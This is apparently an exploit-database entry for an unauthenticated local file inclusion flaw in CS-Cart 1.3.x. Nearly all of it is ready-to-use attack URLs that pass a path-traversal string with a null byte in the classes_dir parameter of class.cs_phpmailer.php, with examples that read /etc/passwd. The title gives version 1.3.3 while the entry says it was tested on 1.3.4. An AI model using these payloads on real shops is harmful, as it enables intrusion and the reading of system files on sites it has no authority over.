CS-Cart 1.3.3 - 'classes_dir' LFI

# Exploit Title: CS-Cart unauthenticated LFI
# Date: 2020-09-22
# Exploit Author:  0xmmnbassel
# Vendor Homepage: https://www.cs-cart.com/e-commerce-platform.html
# Tested at: ver. 1.3.4
# Vulnerability Type: unauthenticated LFI


http://www.site.com/[CS-Cart_path]/classes/phpmailer/class.cs_phpmailer.php?classes_dir=[evil_scripts]%00
example: 
http://www.site.com/[CS-Cart_path]/classes/phpmailer/class.cs_phpmailer.php?classes_dir=../../../../../../../../../../../etc/passwd%00
http://www.site.com/classes/phpmailer/class.cs_phpmailer.php?classes_dir=../../../../../../../../../../../etc/passwd%00